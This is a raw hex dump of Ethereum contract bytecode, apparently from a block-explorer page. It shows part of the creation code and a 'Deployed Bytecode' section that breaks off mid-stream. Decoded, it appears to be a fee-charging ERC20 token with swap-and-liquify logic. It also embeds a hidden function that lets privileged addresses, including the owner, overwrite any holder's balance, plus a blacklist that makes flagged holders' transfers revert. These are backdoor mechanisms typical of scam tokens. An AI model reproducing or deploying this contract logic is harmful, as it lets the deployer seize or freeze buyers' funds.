200097a565b90600052602060002090601f016020900481019282620007895760008555620007d4565b82601f10620007a457805160ff1916838001178555620007d4565b82800160010185558215620007d4579182015b82811115620007d4578251825591602001919060010190620007b7565b50620007e2929150620007e6565b5090565b5b80821115620007e25760008155600101620007e7565b6000602082840312156200081057600080fd5b81516001600160a01b03811681146200074557600080fd5b600082198211156200083e576200083e620009b7565b500190565b600181815b8085111562000884578160001904821115620008685762000868620009b7565b808516156200087657918102915b93841c939080029062000848565b509250929050565b60006200089d60ff841683620008a4565b9392505050565b600082620008b55750600162000748565b81620008c45750600062000748565b8160018114620008dd5760028114620008e85762000908565b600191505062000748565b60ff841115620008fc57620008fc620009b7565b50506001821b62000748565b5060208310610133831016604e8410600b84101617156200092d575081810a62000748565b62000939838362000843565b8060001904821115620009505762000950620009b7565b029392505050565b6000816000190483118215151615620009755762000975620009b7565b500290565b600181811c908216806200098f57607f821691505b60208210811415620009b157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c61272f620009f3600039600081816104b70152610c6d015261272f6000f3fe6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906124bb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612339565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e3660046122f8565b610baf565b34801561048f57600080fd5b506104a361049e3660046123e9565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a3610509366004612285565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b366004612285565b610d01565b34801561055c57600080fd5b506103dc61056b366004612339565b610d53565b34801561057c57600080fd5b506103dc61058b366004612285565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb366004612404565b610d89565b3480156105cc57600080fd5b506103dc6105db366004612285565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c610642366004612285565b610db8565b34801561065357600080fd5b506104a361066236600461241d565b61114a565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612365565b61119f565b3480156106a957600080fd5b506104556106b8366004612285565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee366004612285565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612365565b611240565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc610796366004612285565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e436600461241d565b6112db565b3480156107f557600080fd5b506103a661132a565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612339565b611339565b34801561089057600080fd5b506104a361089f3660046123e9565b611388565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612339565b6113d0565b3480156108e657600080fd5b506104a36108f536600461241d565b6113dd565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046123e9565b61142c565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc610997366004612285565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612339565b6114ae565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046122bf565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a90366004612404565b6114e6565b348015610aa157600080fd5b506103dc610ab0366004612285565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae0366004612285565b611515565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b1590612612565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190612612565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba53384846115e9565b5060015b92915050565b6000610bbc84848461170d565b50610c0f8433610c0a856040518060600160405280602881526020016126ad602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611aed565b6115e9565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612510565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610cb091611b27565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612510565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612510565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a908661158a565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612510565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612510565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2157600080fd5b505afa158015610e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5991906122a2565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea157600080fd5b505afa158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906122a2565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015610f1f57600080fd5b505afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5791906122a2565b91506001600160a01b0382166110db57806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa057600080fd5b505afa158015610fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd891906122a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561102057600080fd5b505afa158015611034573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105891906122a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156110a057600080fd5b505af11580156110b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d891906122a2565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b031633146111745760405162461bcd60e51b8152600401610c4490612510565b600e839055600f829055601081905561119781611191858561158a565b9061158a565b601755505050565b6000546001600160a01b031633146111c95760405162461bcd60e51b8152600401610c4490612510565b60005b8281101561123a5781600960008686858181106111eb576111eb61267e565b90506020020160208101906112009190612285565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112328161264d565b9150506111cc565b50505050565b6000546001600160a01b0316331461126a5760405162461bcd60e51b8152600401610c4490612510565b60005b8281101561123a57816008600086868581811061128c5761128c61267e565b90506020020160208101906112a19190612285565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112d38161264d565b91505061126d565b6000546001600160a01b031633146113055760405162461bcd60e51b8152600401610c4490612510565b60118390556012829055601381905561132281611191858561158a565b601855505050565b606060038054610b1590612612565b6000610ba53384610c0a856040518060600160405280602581526020016126d5602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611aed565b6000546001600160a01b031633146113b25760405162461bcd60e51b8152600401610c4490612510565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f33848461170d565b6000546001600160a01b031633146114075760405162461bcd60e51b8152600401610c4490612510565b60148390556015829055601681905561142481611191858561158a565b601955505050565b6000546001600160a01b031633146114565760405162461bcd60e51b8152600401610c4490612510565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906114a390831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff16156114e2576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146115105760405162461bcd60e51b8152600401610c4490612510565b601c55565b6000546001600160a01b0316331461153f5760405162461bcd60e51b8152600401610c4490612510565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061159783856125a2565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b03831661164b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b0383166117d55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff16156117f9576117f2848484611b69565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff1615801561183b57506001600160a01b0383166000908152600a602052604090205460ff16155b156118a357601b548211156118a35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118d15750601f54600160a01b900460ff16155b80156118f657506001600160a01b0386166000908152600c602052604090205460ff16155b801561190b5750601f54600160a81b900460ff165b1561193157601f54600160b01b900460ff161561192857601d5491505b61193182611c4f565b61193a86611d8a565b1561197c576001600160a01b0386166000908152600660205260409020546119629085611b27565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff16806119bb57506001600160a01b03861660009081526008602052604090205460ff165b6119cf576119ca878787611db2565b6119d1565b845b601f54909150600160b81b900460ff168015611a0657506001600160a01b03861660009081526009602052604090205460ff16155b15611a3c57601c54611a3182611191896001600160a01b031660009081526006602052604090205490565b1115611a3c57600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a6257600080fd5b6001600160a01b038616600090815260066020526040902054611a85908261158a565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ad99085815260200190565b60405180910390a360019350505050610c13565b60008184841115611b115760405162461bcd60e51b8152600401610c4491906124bb565b506000611b1e84866125fb565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aed565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611bba918490611aed565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611be9908361158a565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c3d9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c8591600291611c7f9182908790611eb8565b90611f37565b90506000611c938383611b27565b9050611c9e81611f79565b6014544790600090611cbe90611cb5906002611f37565b60195490611b27565b90506000611ce06002611c7f84611c7f60145488611eb890919063ffffffff16565b90506000611cfd83611c7f60165487611eb890919063ffffffff16565b90506000611d1582611d0f8786611b27565b90611b27565b90508015611d3857600454611d389061010090046001600160a01b03168261211b565b8115611d5457600554611d54906001600160a01b03168361211b565b600083118015611d645750600087115b15611d7357611d738784612156565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611da160015461223a565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611df657611def6064611c7f60175486611eb890919063ffffffff16565b9050611e34565b6001600160a01b0384166000908152600c602052604090205460ff1615611e3457611e316064611c7f60185486611eb890919063ffffffff16565b90505b8015611eae5730600090815260066020526040902054611e54908261158a565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ea59085815260200190565b60405180910390a35b611b1e8382611b27565b600082611ec757506000610ba9565b6000611ed383856125dc565b905082611ee085836125ba565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612242565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611fae57611fae61267e565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561200257600080fd5b505afa158015612016573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203a91906122a2565b8160018151811061204d5761204d61267e565b6001600160a01b039283166020918202929092010152601e5461207391309116846115e9565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ac908590600090869030904290600401612566565b600060405180830381600087803b1580156120c657600080fd5b505af11580156120da573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161210f929190612545565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612151573d6000803e3d6000fd5b505050565b601e5461216e9030906001600160a01b0316846115e9565b601e546001600160a01b031663f305d7198230856000806121976000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156121fa57600080fd5b505af115801561220e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122339190612449565b5050505050565b600081610ba9565b600081836122635760405162461bcd60e51b8152600401610c4491906124bb565b506000611b1e84866125ba565b8035801515811461228057600080fd5b919050565b60006020828403121561229757600080fd5b8135610c1381612694565b6000602082840312156122b457600080fd5b8151610c1381612694565b600080604083850312156122d257600080fd5b82356122dd81612694565b915060208301356122ed81612694565b809150509250929050565b60008060006060848603121561230d57600080fd5b833561231881612694565b9250602084013561232881612694565b929592945050506040919091013590565b6000806040838503121561234c57600080fd5b823561235781612694565b946020939093013593505050565b60008060006040848603121561237a57600080fd5b833567ffffffffffffffff8082111561239257600080fd5b818601915086601f8301126123a657600080fd5b8135818111156123b557600080fd5b8760208260051b85010111156123ca57600080fd5b6020928301955093506123e09186019050612270565b90509250925092565b6000602082840312156123fb57600080fd5b610c1382612270565b60006020828403121561241657600080fd5b5035919050565b60008060006060848603121561243257600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561245e57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156124b05781516001600160a01b03168752958201959082019060010161248b565b509495945050505050565b600060208083528351808285015260005b818110156124e8578581018301518582016040015282016124cc565b818111156124fa576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b82815260406020820152600061255e6040830184612477565b949350505050565b85815284602082015260a06040820152600061258560a0830186612477565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156125b5576125b5612668565b500190565b6000826125d757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156125f6576125f6612668565b500290565b60008282101561260d5761260d612668565b500390565b600181811c9082168061262657607f821691505b6020821081141561264757634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561266157612661612668565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146126a957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fec7bed87de3651b8afd293de1038ea40e72d1296c8aad94e905f1775513ac4b64736f6c63430008060033

Deployed Bytecode

0x6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906124bb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612339565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e3660046122f8565b610baf565b34801561048f57600080fd5b506104a361049e3660046123e9565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a3610509366004612285565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b366004612285565b610d01565b34801561055c57600080fd5b506103dc61056b366004612339565b610d53565b34801561057c57600080fd5b506103dc61058b366004612285565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb366004612404565b610d89565b3480156105cc57600080fd5b506103dc6105db366004612285565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c610642366004612285565b610db8565b34801561065357600080fd5b506104a361066236600461241d565b61114a565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612365565b61119f565b3480156106a957600080fd5b506104556106b8366004612285565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee366004612285565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612365565b611240565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc610796366004612285565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e436600461241d565b6112db565b3480156107f557600080fd5b506103a661132a565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612339565b611339565b34801561089057600080fd5b506104a361089f3660046123e9565b611388565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612339565b6113d0565b3480156108e657600080fd5b506104a36108f536600461241d565b6113dd565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046123e9565b61142c565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc610997366004612285565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612339565b6114ae565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046122bf565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a90366004612404565b6114e6565b348015610aa157600080fd5b506103dc610ab0366004612285565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae0366004612285565b611515565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b1590612612565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190612612565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba53384846115e9565b5060015b92915050565b6000610bbc84848461170d565b50610c0f8433610c0a856040518060600160405280602881526020016126ad602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611aed565b6115e9565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612510565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610cb091611b27565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612510565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612510565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a908661158a565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612510565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612510565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2157600080fd5b505afa158015610e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5991906122a2565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea157600080fd5b505afa158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906122a2565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015610f1f57600080fd5b505afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5791906122a2565b91506001600160a01b0382166110db57806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa057600080fd5b505afa158015610fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd891906122a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561102057600080fd5b505afa158015611034573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105891906122a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156110a057600080fd5b505af11580156110b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d891906122a2565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b031633146111745760405162461bcd60e51b8152600401610c4490612510565b600e839055600f829055601081905561119781611191858561158a565b9061158a565b601755505050565b6000546001600160a01b031633146111c95760405162461bcd60e51b8152600401610c4490612510565b60005b8281101561123a5781600960008686858181106111eb576111eb61267e565b90506020020160208101906112009190612285565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112328161264d565b9150506111cc565b50505050565b6000546001600160a01b0316331461126a5760405162461bcd60e51b8152600401610c4490612510565b60005b8281101561123a57816008600086868581811061128c5761128c61267e565b90506020020160208101906112a19190612285565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112d38161264d565b91505061126d565b6000546001600160a01b031633146113055760405162461bcd60e51b8152600401610c4490612510565b60118390556012829055601381905561132281611191858561158a565b601855505050565b606060038054610b1590612612565b6000610ba53384610c0a856040518060600160405280602581526020016126d5602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611aed565b6000546001600160a01b031633146113b25760405162461bcd60e51b8152600401610c4490612510565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f33848461170d565b6000546001600160a01b031633146114075760405162461bcd60e51b8152600401610c4490612510565b60148390556015829055601681905561142481611191858561158a565b601955505050565b6000546001600160a01b031633146114565760405162461bcd60e51b8152600401610c4490612510565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906114a390831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff16156114e2576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146115105760405162461bcd60e51b8152600401610c4490612510565b601c55565b6000546001600160a01b0316331461153f5760405162461bcd60e51b8152600401610c4490612510565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061159783856125a2565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b03831661164b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b0383166117d55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b